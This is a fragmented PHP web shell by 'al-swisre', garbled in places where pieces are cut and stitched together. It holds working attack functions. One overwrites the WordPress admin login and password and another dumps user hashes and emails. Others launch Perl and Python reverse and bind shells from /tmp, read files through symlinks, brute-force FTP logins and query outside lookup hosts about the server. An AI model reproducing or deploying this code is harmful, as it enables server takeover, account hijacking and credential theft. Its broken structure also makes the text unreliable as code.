$query = mysql_query("UPDATE ".$table." SET ".$column." ='$data' WHERE `$column` LIKE '%$seh%'") or die(mysql_error());
if($query){
echo "
Injection has been successfully
";
echo "
[ Back ] ";
exit;
}else{
echo '
Injection erorr
';
exit;
}
}
}
else if ($op == 'awp')
{
if (isset($_POST['viw']))
{
$pass = $_POST['pass'];
$user = $_POST['user'];
$crypt = crypt($pass);
$query =@mysql_query("UPDATE `wp_users` SET `user_login` ='".$user."' WHERE ID = 1") or die;
$query =@mysql_query("UPDATE `wp_users` SET `user_pass` ='".$crypt."' WHERE ID = 1") or die;
if ($query)
{
echo "Updated admin successfully
[ Back ] ";
exit;
}
else if (!$query)
{
echo "Updated admin erorr
[ Back ] ";
exit;
}
}
else
{
echo'';
}
}
else if ($op == 'shwp')
{
$sql = 'select * from `wp_users`';
$query =@ mysql_query($sql);
if ($query)
{
while ($row = mysql_fetch_assoc($query))
{
echo "
ID :
user :
pass :
email :
".$row['ID']."
".$row['user_login']."
".$row['user_pass']."
".$row['user_email']."
";
echo "[ Back ] ";
exit;
}}
}
}
break;
/////////////////////////////////////////////// info ///////////////////////////////////
case 'info':
$sws = 'al-swisre' ;
if ($sws != 'al-swisre'){echo "Coded by al-swisre"; exit;}
if(strlen($dir)>1 && $dir[1]==":")
$os = "Windows";
else $os = "Linux";
$read = @file_get_contents("http://s92443018.onlinehome.us/cgi-bin/host.php?$ips");
$r3ad = @file_get_contents("http://aruljohn.com/track.pl?host=$ips") ;
$ipnet = @findit($read,"IP-Network "," ");
$ipb = @findit($read,"IP-Network-Block "," ");
$hostname = @findit($read,"Hostname:",""," ");
echo "
Information Server
Hostname ".$hostname." ISP ".$isp." IP-Network ".$ipnet." IP-Network-Block ".$ipb." Safe Mode ".(($safe_mode)?(" : ON OFF System ".$os." PHP Version ".phpversion()." Zend Version ".@zend_version()." Magic_Quotes ". magicQouts()." Curl ".Curl()." Register Globals ".RegisterGlobals()." Open Basedir ".openBaseDir()." Gzip ".Gzip()." Free Space ".HardSize(disk_free_space('/'))." Total Space ".HardSize(disk_total_space("/"))." MySQL ".MySQL2()." MsSQL ".MsSQL()." PostgreSQL ".PostgreSQL()." Oracle ".Oracle()."
$out\n".cmd("ps aux | grep sa.pl")." ";
unlink("/tmp/sa.pl");
}
elseif ($op == 'python')
{
op_sa("/tmp/sa.py",$back_py);
$out = cmd("python /tmp/sa.py ".$ip." ".$port." 1>/dev/null 2>&1 &");
sleep(1);
echo "$out\n".cmd("ps aux | grep sa.py")." ";
}
}
else if ($_POST['con'] == 'Connect bind'){
/////////////////////// bind /////////////////////
if ($op == 'perl')
{
$bind_port = $_POST['bind_port'];
op_sa("/tmp/sa.pl",$bind_perl);
$out = cmd("perl /tmp/sa.pl ".$bind_port." 1>/dev/null 2>&1 &");
sleep(1);
echo "$out\n".cmd("ps aux | grep sa.pl")." ";
unlink("/tmp/sa.pl");
}
else if ($op == 'python')
{
$bind_port = $_POST['bind_port'];
op_sa("/tmp/sa.py",$bind_py);
$out = cmd("python /tmp/sa.py ".$bind_port." 1>/dev/null 2>&1 &");
sleep(1);
echo "$out\n".cmd("ps aux | grep sa.py")." ";
unlink("/tmp/sa.py");
}
}}
break;
////////////////////////////////////////// BruteForce /////////////////////
case 'brt':
echo " ";
echo "Coded By : al-swisreE-mail : oy3@hotmail.comFrom : Saudi ArabianAge : 2/1995twitter : al_swisre S.Greetz 2 : Mr.Alsa3ek - Ejram HackerGreetz 2 : e.V.E.L - G-B - kinG oF coNTrol - w0LF Gh4m3D - iNjeCt - abu halil 501 - Mr.Pixy And : Mr.Black - IraQiaN-r0x - Oxygen - locked - n4ss .. and All members of v4-team.com ";
echo"";
echo" Your path : ";
for($i=0;$i$dirx[$i]" . DIRECTORY_SEPARATOR);
}
echo "
";
echo"Name Size Modify Owner/Group Permissions Option [ $link ] ";
$file['pir'] = "".@wsoPermsColor($dir."/".$link)." ";
$file['pir2'] = "".@perm($dir."/".$link)." ";
$folder = " ".$file['link']." dir ".date('Y-m-d H:i:s', @filemtime($dir."/".$link))." ".$on3['name']."/".$gr['name']." ".$file['pir']." ".$file['pir2']." R - C - rm ".@wsoPermsColor($dir."/".$link)." ";
$file['pir2'] = "".@perm($dir."/".$link)." ";
$file['size'] = @number_format(@filesize($dir."/".$link)/1024,2);
@$file['link'] = "".$link ." ";
$file = "".$file['link']." ".$file['size']." ".date('Y-m-d H:i:s', @filemtime($dir."/".$link))." ".$on3['name']."/".$gr['name']." ".$file['pir']." ".$file['pir2']." E - R - C - D - rm
[ Back ] "; exit;}
if (!isset($_POST['edit']))
{
echo "".$_GET['dir']." file name : ".$_GET['file']." [ Back ] ";
}
}
}
if ($_GET['sws'] == 'chmod')
{
$dir = $_GET['dir'];
$file = $_GET['file'];
if (!isset($file) or !isset($dir)){ echo "[ Back ] "; exit;}
if (!isset($_POST['edit']))
{
echo "".$_GET['dir']." file name : ".$_GET['file']." [ Back ] ";
}
}
}
if ($_GET['sws'] == 'edit')
{
$file = $_GET['file'];
$dir = $_GET['dir'];
if (!isset($file) or !isset($dir)){ echo "[ Back ] "; exit;}
if (!isset($_POST['ed']))
{
$fil33 = @fopen($dir."/".$file, 'r');
$content = @fread($fil33, @filesize($dir."/".$file));
echo "
".$_GET['dir']." file name : ".$_GET['file']." [ Back ] "; exit;}
if (!isset($_POST['edit']))
{
echo "".$_GET['dir']." file name : ".$_GET['file']." ".$_GET['dir']." file name : ".$_GET['file']." ";
$r3ad = @fopen($file, 'r');
if ($r3ad){
$content = @fread($r3ad, @filesize($file));
echo "
".htmlentities($content)." ";
}
else if (!$r3ad)
{
echo "
";
$r3ad = @show_source($file) ;
echo " ";
}
else if (!$r3ad)
{
echo "
";
$r3ad = @highlight_file($file);
echo " ";
}
else if (!$r3ad)
{
echo "
";
$sm = @symlink($file,'sym.txt');
if ($sm){
$r3ad = @fopen('sym.txt', 'r');
$content = @fread($r3ad, @filesize($dir."/".$file));
echo "".htmlentities($content)." ";
}
}
echo " "," ");
echo "' . @wsoPerms(@fileperms($f)) . ' ';
elseif (!@is_writable($f))
return '' . @wsoPerms(@fileperms($f)) . ' ';
else
return '' . @wsoPerms(@fileperms($f)) . ' ';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function perm($file)
{
if(file_exists($file))
{
return @substr(@sprintf('%o', @fileperms($file)), -4);
}
else
{
return "????";
}
}
function sa_download($path)
{
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename='.basename($path));
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($path));
ob_clean();
flush();
readfile($path);
exit;
}
function findit($mytext,$starttag,$endtag) {
$posLeft = @stripos($mytext,$starttag)+strlen($starttag);
$posRight = @stripos($mytext,$endtag,$posLeft+1);
return @substr($mytext,$posLeft,$posRight-$posLeft);
}
function MsSQL()
{
if(@function_exists('mssql_connect'))
{
$msSQL = 'ON ';
}
else
{
$msSQL = 'OFF ';
}
return $msSQL;
}
function MySQL2()
{
$mysql_try = @function_exists('mysql_connect');
if($mysql_try)
{
$mysql = 'ON ';
}
else
{
$mysql = 'OFF ';
}
return $mysql;
}
function Gzip()
{
if (@function_exists('gzencode'))
{
$gzip = 'ON ';
}
else
{
$gzip = 'OFF ';
}
return $gzip;
}
function MysqlI()
{
if (@function_exists('mysqli_connect'))
{
$mysqli = 'ON ';
}
else
{
$mysqli = 'OFF ';
}
return $mysqli;
}
function MSQL()
{
if (@function_exists('msql_connect'))
{
$mSql = 'ON ';
}
else
{
$mSql = 'OFF ';
}
return $mSql;
}
function PostgreSQL()
{
if(@function_exists('pg_connect'))
{
$postgreSQL = 'ON ';
}
else
{
$postgreSQL = 'OFF ';
}
return $postgreSQL;
}
function Oracle()
{
if(@function_exists('ocilogon'))
{
$oracle = 'ON ';
}
else
{
$oracle = 'OFF ';
}
return $oracle;
}
function RegisterGlobals()
{
if(@ini_get('register_globals'))
{
$registerg= 'ON ';
}
else
{
$registerg= 'OFF ';
}
return $registerg;
}
function HardSize($size)
{
if($size >= 1073741824)
{
$size = @round($size / 1073741824 * 100) / 100 . " GB";
}
elseif($size >= 1048576)
{
$size = @round($size / 1048576 * 100) / 100 . " MB";
}
elseif($size >= 1024)
{
$size = @round($size / 1024 * 100) / 100 . " KB";
}
else
{
$size = $size . " B";
}
return $size;
}
function Curl()
{
if(extension_loaded('curl'))
{
$curl = 'ON ';
}
else
{
$curl = 'OFF ';
}
return $curl;
}
function magicQouts()
{
$mag=get_magic_quotes_gpc();
if (empty($mag))
{
$mag = 'OFF ';
}
else
{
$mag= 'ON ';
}
return $mag;
}
function openBaseDir()
{
$openBaseDir = @ini_get("open_basedir");
if (!$openBaseDir)
{
$openBaseDir = 'OFF ';
}
else
{
$openBaseDir = 'ON ';
}
return $openBaseDir;
}
function ftp_check($host,$user,$pass,$timeout){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "ftp://$host");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_FAILONERROR, 1);
$data = curl_exec($ch);
if ( curl_errno($ch) == 28 ) {
print " Error : Connection timed out ";
exit;}
elseif ( curl_errno($ch) == 0 ){
print
"
found username : $user - password :
$pass Error : Connection timed out ";
exit;}
elseif ( curl_errno($ch) == 0 ){
print
"
found username : $user - password :
$pass
Progr4m3r by al-swisre |E-m4il : oy3@hotmail.com |My twitter : al_swisre |
